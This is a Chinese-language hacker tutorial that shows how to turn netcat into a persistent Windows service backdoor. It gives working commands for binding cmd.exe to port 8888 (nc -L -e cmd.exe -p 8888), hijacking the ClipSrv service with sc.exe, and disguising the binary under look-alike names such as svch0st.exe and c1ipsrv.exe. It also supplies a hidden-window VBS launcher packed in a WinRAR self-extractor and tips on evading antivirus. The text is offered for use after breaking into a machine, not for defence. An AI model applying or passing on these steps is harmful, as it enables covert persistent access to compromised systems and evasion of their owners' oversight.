大家都知道nc是一个强大并且灵活的黑客工具,用他可以做很多事情,譬如做为telnet的客户端口,譬如入侵的时候反弹回来shell,譬如扫描……但是你有没有想过将他打造成一个服务级的后门呢?现在好多跟我一样的菜鸟还不懂得编程,别人写的流行点的后门又经常被杀,那就跟我一起来自己手工制作一个后门吧,不需要任何编程知识菜鸟级的东东哦。
首先请准备好不被杀的nc.exe(随便加个壳就可以了的),还有sc.exe(这个是操作服务的一个小工具,被人称为操作服务的军刀),这些就可以打造我们自己的后门了,后门的要求我想不需要很强的操作功能,只需要当我们连接的时候获得一个system权限的shell就可以了,有了cmdshell做什么不可以呢。如果你需要反弹的后门,也可以做到,自己注册个域名就可以用nc反弹了,因为比较复杂这里就不说了。我们知道nc就是实现我们的后门功能的最经典的工具,我们来看看nc的帮助,命令行下输入nc -h就可以看到,我们主要用到的几个参数如下:
-e 绑定一个程序并且连接时执行
-l 监听模式
-p 指定nc要运行的本地端口
-L 增强了的监听模式,当连接断开时再次监听
至于其他的用法相信各位已经很了解了的,我们以前经常用到的是
nc -l -e cmd.exe -p 8888 \\监听8888端口,当有连接时重定向到cmd.exe实现绑定一个shell\\
这样的形式用serveru等溢出程序执行后来绑定一个可以得到shell的端口8888,我们telnet或者nc连接上来的时候就可以直接获得一个shell。但是这样连接断开之后监听的端口就会关闭,是一次性的,不能再次获得shell,这样当然不适合于做后门了。后来发现nc的这个参数L可以一直保持监听的状态,可以反复连接。用
nc -L -e cmd.exe -p 8888 \\也是绑定的,不过加强了的\\
这样的命令就已经达到我们的目的了,但是我们往往是在溢出的shell里工作,留后门是为了以后的进入,那我们如何保证nc再机器重起之后还可以工作从而实现我们的后门的目的呢?你可以把他放到注册表的Run等启动项下面,但是感觉那样不是太好,有些地方已经被杀毒软件盯上了,把我的后门放到那里实在不是很放心,后来想到干脆作成服务吧!随着系统启动而启动,呵呵。那就看看如何打造服务吧!
首先我们将nc.exe放到%systemroot%\system32下面,起名叫svch0st.exe或者放到%systemroot%\system下面更名叫svchost.exe,这样的目的是为了在任务管理器里看不出异样。然后用sc替换系统的服务,不用改别的,只要修改他的执行路径就可以了,我们就改那个clipsrv.exe服务吧!命令如下:
sc config clipsrv start= auto \\将clipsrv.exe服务设置为自动\\
sc config clipsrv binpath= "c:\winnt\system32\svch0st.exe -L -e cmd.exe -p 8888" \\设置clipsrv.exe服务的启动路径为我们的nc\\
sc start clipsrv \\启动clipsrv.exe服务\\
嘿嘿,但是看看结果吧!看看服务里的显示信息,如图一,很显眼哦!不管,先启动服务然后
netstat -an|find "8888" \\netstat -an的结果中查找8888看我们的程序是否运行\\
如图二。的确是已经被打开了,但是当显示服务没有响应的时候nc的进程被结束了,这是Windows服务管理机制吧。不是很成功呵,我们继续改造!不懂编程的我们这个时候就会很郁闷,因为不能让服务停止响应的时候我开始想用bat2exe.exe,但是启动服务的时候总是出现拒绝访问的错误,大概是bat2exe出来的exe文件不被系统服务格式所支持,只能想其他的办法了,于是我想到了用Winrar.exe来做我们自己的exe文件,这总该被服务的可执行文件支持吧!至于如何实现编程里的子进程在父进程终止后仍然可以在内存中运行,我用的方法是写个run.vbs然后用cscript.exe来调用,至于如何调用就可以在自解压格式里设置解压后运行cscript.exe run.vbs,如图三。其中Run.vbs里的内容如下:
dim sh \\定义变量\\
set sh=createobject("wscript.shell") \\取得WSH对象\\
sh.run "nc -L -e cmd.exe -p 8888",0 \\执行我们的程序并隐藏错误\\
而自解压的路径写上%systemroot%\system32,这样我们自解压服务程序就做好了,保存为c1ipsrv.exe(不好意思,还是用那个1和l的把戏),放到c:\winnt\system32目录下面。现在修改我们的clipsrv剪切薄服务的具体路径为c:\winnt\system32\c1ipsrv.exe,命令如下:
sc stop clipsrv \\将clipsrv.exe服务设置为自动\\
sc config clipsrv start= auto
sc config clipsrv binpath= "c:\winnt\system32\c1ipsrv.exe" \\设置clipsrv.exe服务的启动路径为我们的nc\\
sc start clipsrv \\启动clipsrv.exe服务\\
现在一切OK了,这样以来我们的程序的参数细节还会被屏蔽,比开始的参数直接放到执行文件路径里好多了。我们来实验下。先net start clipsrv,然后netstat -an|find "8888"看看开没开8888端口,最后用nc 127.0.0.1 8888连接上去得到shell了呵!如图四。好了,快去体验自己动手的快乐哦,你还可以作其他的事情,只要你的服务的程序做的够好,甚至可以用反向回来的nc,具体我就不写了。
本文是我看了韩的一个动画之后想到的,后来自己想到完全可以将nc改成后门的,不过也还是有很大的缺陷,毕竟不是编程,因为不能返回信息给服务控制器,会在日志里留一些错误,不过,有多少人去在意这些错误呢?还有就是没有身份验证功能,不过端口可以自定义不知道算不算一个身份验证。